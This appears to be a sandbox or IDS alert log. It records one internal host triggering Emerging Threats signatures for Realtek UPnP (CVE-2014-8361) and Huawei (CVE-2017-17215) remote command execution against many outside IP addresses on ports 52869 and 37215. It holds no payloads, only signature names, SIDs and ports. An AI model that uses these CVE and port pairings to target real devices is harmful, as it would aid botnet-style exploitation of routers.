ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 34.239.73.219

Timestamp:	07/20/24-23:01:41.328264
SID:	2025132
Source Port:	44472
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.239.230.243

Timestamp:	07/20/24-23:01:06.991143
SID:	2829579
Source Port:	42378
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.128.42.189

Timestamp:	07/20/24-23:01:24.944299
SID:	2829579
Source Port:	38370
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 165.191.241.94

Timestamp:	07/20/24-23:01:54.642694
SID:	2025132
Source Port:	36822
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 20.24.147.17

Timestamp:	07/20/24-23:01:14.308979
SID:	2027339
Source Port:	52268
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 185.10.206.42

Timestamp:	07/20/24-23:01:49.615311
SID:	2027339
Source Port:	48022
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 82.99.109.50

Timestamp:	07/20/24-23:01:08.639622
SID:	2831300
Source Port:	55062
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 59.198.200.174

Timestamp:	07/20/24-23:01:24.071868
SID:	2025132
Source Port:	57942
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 112.142.124.162

Timestamp:	07/20/24-23:01:57.213768
SID:	2027339
Source Port:	43116
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 32.103.164.103

Timestamp:	07/20/24-23:01:49.254553
SID:	2027339
Source Port:	48726
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 99.98.54.155

Timestamp:	07/20/24-23:01:42.603963
SID:	2027339
Source Port:	55590
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 115.35.192.158

Timestamp:	07/20/24-23:01:42.399678
SID:	2027339
Source Port:	38444
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 39.189.20.84

Timestamp:	07/20/24-23:01:43.555540
SID:	2027339
Source Port:	34994
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 220.31.50.128

Timestamp:	07/20/24-23:01:44.953142
SID:	2027339
Source Port:	46738
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 196.117.225.80

Timestamp:	07/20/24-23:01:58.504284
SID:	2027339
Source Port:	33126
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 164.43.137.199

Timestamp:	07/20/24-23:01:42.530468
SID:	2027339
Source Port:	49066
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 126.224.156.29

Timestamp:	07/20/24-23:01:42.602712
SID:	2027339
Source Port:	43894
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 223.193.169.99

Timestamp:	07/20/24-23:01:03.948226
SID:	2027339
Source Port:	42126
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 219.217.14.87

Timestamp:	07/20/24-23:01:49.228425
SID:	2025132
Source Port:	43454
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 194.242.148.126

Timestamp:	07/20/24-23:01:57.886795
SID:	2027339
Source Port:	51338
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 125.78.0.230

Timestamp:	07/20/24-23:01:43.571815
SID:	2831300
Source Port:	44764
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 14.23.231.227

Timestamp:	07/20/24-23:01:08.597662
SID:	2831300
Source Port:	34472
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 85.78.48.17

Timestamp:	07/20/24-23:01:42.880524
SID:	2027339
Source Port:	59136
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.66.163.45

Timestamp:	07/20/24-23:01:24.960642
SID:	2835222
Source Port:	54608
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 108.137.226.148

Timestamp:	07/20/24-23:01:41.229799
SID:	2025132
Source Port:	36008
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 165.18.43.140

Timestamp:	07/20/24-23:01:46.340763
SID:	2027339
Source Port:	54042
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 47.201.63.165

Timestamp:	07/20/24-23:01:57.321432
SID:	2025132
Source Port:	47342
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 123.97.7.185

Timestamp:	07/20/24-23:01:44.559176
SID:	2025132
Source Port:	51016
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.138.109.222

Timestamp:	07/20/24-23:01:11.820979
SID:	2835222
Source Port:	50554
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.42.191.226

Timestamp:	07/20/24-23:01:20.156820
SID:	2829579
Source Port:	36896
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.176.41.115

Timestamp:	07/20/24-23:01:00.639093
SID:	2829579
Source Port:	40708
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 197.9.101.249

Timestamp:	07/20/24-23:01:46.444461
SID:	2027339
Source Port:	52970
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 64.225.111.147

Timestamp:	07/20/24-23:02:06.935770
SID:	2025132
Source Port:	36748
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.241.127.58

Timestamp:	07/20/24-23:00:59.178062
SID:	2835222
Source Port:	34654
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 199.61.238.254

Timestamp:	07/20/24-23:01:01.164622
SID:	2027339
Source Port:	43644
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 94.120.34.76

Timestamp:	07/20/24-23:01:43.536328
SID:	2027339
Source Port:	55126
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 176.130.206.241

Timestamp:	07/20/24-23:01:43.944379
SID:	2027339
Source Port:	39588
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.148.93.189

Timestamp:	07/20/24-23:00:57.223887
SID:	2835222
Source Port:	41330
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 143.182.102.65

Timestamp:	07/20/24-23:01:40.320408
SID:	2835222
Source Port:	48886
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 173.68.146.233

Timestamp:	07/20/24-23:01:45.519802
SID:	2027339
Source Port:	39278
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.252.182.107

Timestamp:	07/20/24-23:01:40.294677
SID:	2835222
Source Port:	33904
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 106.204.29.126

Timestamp:	07/20/24-23:01:42.718842
SID:	2027339
Source Port:	35816
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 27.31.121.159

Timestamp:	07/20/24-23:01:44.837053
SID:	2025132
Source Port:	49994
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 172.95.79.32

Timestamp:	07/20/24-23:01:01.752804
SID:	2027339
Source Port:	39800
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 204.194.235.34

Timestamp:	07/20/24-23:01:07.054782
SID:	2829579
Source Port:	46500
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 218.231.87.4

Timestamp:	07/20/24-23:01:44.036421
SID:	2027339
Source Port:	49088
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 164.204.194.37

Timestamp:	07/20/24-23:01:02.055683
SID:	2835222
Source Port:	45562
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 221.226.241.204

Timestamp:	07/20/24-23:01:03.096471
SID:	2025132
Source Port:	44870
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.74.155.53

Timestamp:	07/20/24-23:01:20.131339
SID:	2835222
Source Port:	57472
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 88.239.244.206

Timestamp:	07/20/24-23:01:51.212550
SID:	2025132
Source Port:	40964
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 105.169.76.44

Timestamp:	07/20/24-23:01:58.892811
SID:	2025132
Source Port:	53416
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 1.209.93.74

Timestamp:	07/20/24-23:01:20.596402
SID:	2831300
Source Port:	51192
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.253.8.89

Timestamp:	07/20/24-23:01:20.149798
SID:	2835222
Source Port:	37938
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 35.56.95.76

Timestamp:	07/20/24-23:01:44.559917
SID:	2831300
Source Port:	37734
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 172.97.184.195

Timestamp:	07/20/24-23:01:04.426363
SID:	2027339
Source Port:	34988
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 115.65.225.50

Timestamp:	07/20/24-23:01:51.594415
SID:	2831300
Source Port:	44100
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 112.170.166.3

Timestamp:	07/20/24-23:01:44.439012
SID:	2025132
Source Port:	50128
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 177.27.5.34

Timestamp:	07/20/24-23:01:08.607816
SID:	2027339
Source Port:	45074
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 98.94.65.60

Timestamp:	07/20/24-23:01:42.322405
SID:	2025132
Source Port:	59520
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.71.217.61

Timestamp:	07/20/24-23:01:24.904906
SID:	2829579
Source Port:	59956
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 126.16.187.60

Timestamp:	07/20/24-23:01:08.563416
SID:	2027339
Source Port:	37874
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 194.44.142.130

Timestamp:	07/20/24-23:01:44.491060
SID:	2831300
Source Port:	56394
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 85.241.89.47

Timestamp:	07/20/24-23:01:53.697003
SID:	2027339
Source Port:	49450
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 122.69.178.214

Timestamp:	07/20/24-23:01:51.304967
SID:	2025132
Source Port:	34938
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 153.209.101.198

Timestamp:	07/20/24-23:01:02.059312
SID:	2829579
Source Port:	52380
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.237.121.217

Timestamp:	07/20/24-23:01:04.039129
SID:	2835222
Source Port:	45482
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 25.222.87.118

Timestamp:	07/20/24-23:01:08.598416
SID:	2027339
Source Port:	41014
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 143.147.42.76

Timestamp:	07/20/24-23:02:41.032515
SID:	2025132
Source Port:	44618
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.20.237.144

Timestamp:	07/20/24-23:01:20.169339
SID:	2829579
Source Port:	49434
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.222.79.156

Timestamp:	07/20/24-23:01:34.060991
SID:	2835222
Source Port:	43800
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 61.27.196.68

Timestamp:	07/20/24-23:01:52.701293
SID:	2027339
Source Port:	53376
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 176.235.230.116

Timestamp:	07/20/24-23:02:26.791106
SID:	2027339
Source Port:	49314
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 172.101.164.72

Timestamp:	07/20/24-23:00:57.222164
SID:	2835222
Source Port:	51548
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 136.37.204.244

Timestamp:	07/20/24-23:01:41.249014
SID:	2025132
Source Port:	37622
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 88.79.134.29

Timestamp:	07/20/24-23:02:20.472956
SID:	2025132
Source Port:	37844
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 177.147.32.222

Timestamp:	07/20/24-23:01:42.042815
SID:	2025132
Source Port:	36920
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.77.213.179

Timestamp:	07/20/24-23:00:59.172943
SID:	2829579
Source Port:	34126
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 19.191.190.54

Timestamp:	07/20/24-23:01:52.904266
SID:	2027339
Source Port:	35818
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 126.252.220.138

Timestamp:	07/20/24-23:01:43.170156
SID:	2027339
Source Port:	40232
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 195.86.64.66

Timestamp:	07/20/24-23:01:46.181357
SID:	2027339
Source Port:	38326
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 77.112.214.83

Timestamp:	07/20/24-23:02:09.095115
SID:	2027339
Source Port:	35686
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.211.122.175

Timestamp:	07/20/24-23:01:02.066908
SID:	2829579
Source Port:	39306
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 188.131.252.163

Timestamp:	07/20/24-23:01:53.937783
SID:	2831300
Source Port:	36150
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.126.153.94

Timestamp:	07/20/24-23:01:02.066908
SID:	2835222
Source Port:	37338
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.120.201.209

Timestamp:	07/20/24-23:01:04.050503
SID:	2835222
Source Port:	36920
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 190.79.68.182

Timestamp:	07/20/24-23:01:14.097795
SID:	2835222
Source Port:	43802
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 8.226.239.105

Timestamp:	07/20/24-23:01:41.205247
SID:	2027339
Source Port:	51268
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 181.43.61.4

Timestamp:	07/20/24-23:01:12.807585
SID:	2027339
Source Port:	42662
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 93.25.182.143

Timestamp:	07/20/24-23:01:45.569319
SID:	2025132
Source Port:	51334
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.157.81.10

Timestamp:	07/20/24-23:01:27.664887
SID:	2835222
Source Port:	47230
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 77.119.24.21

Timestamp:	07/20/24-23:01:42.988854
SID:	2027339
Source Port:	40898
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 165.21.55.96

Timestamp:	07/20/24-23:01:41.349768
SID:	2025132
Source Port:	34456
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 184.170.174.78

Timestamp:	07/20/24-23:01:43.839288
SID:	2025132
Source Port:	39870
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 154.194.235.253

Timestamp:	07/20/24-23:01:52.819848
SID:	2027339
Source Port:	38288
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 109.94.51.165

Timestamp:	07/20/24-23:01:24.904906
SID:	2829579
Source Port:	35460
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 58.172.86.110

Timestamp:	07/20/24-23:02:09.106165
SID:	2831300
Source Port:	45766
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 54.250.222.170

Timestamp:	07/20/24-23:01:42.574571
SID:	2027339
Source Port:	36666
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 18.255.33.143

Timestamp:	07/20/24-23:01:52.877228
SID:	2027339
Source Port:	39966
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.20.27.216

Timestamp:	07/20/24-23:00:59.163619
SID:	2835222
Source Port:	45012
Destination Port:	37215
Protocol:	TCP
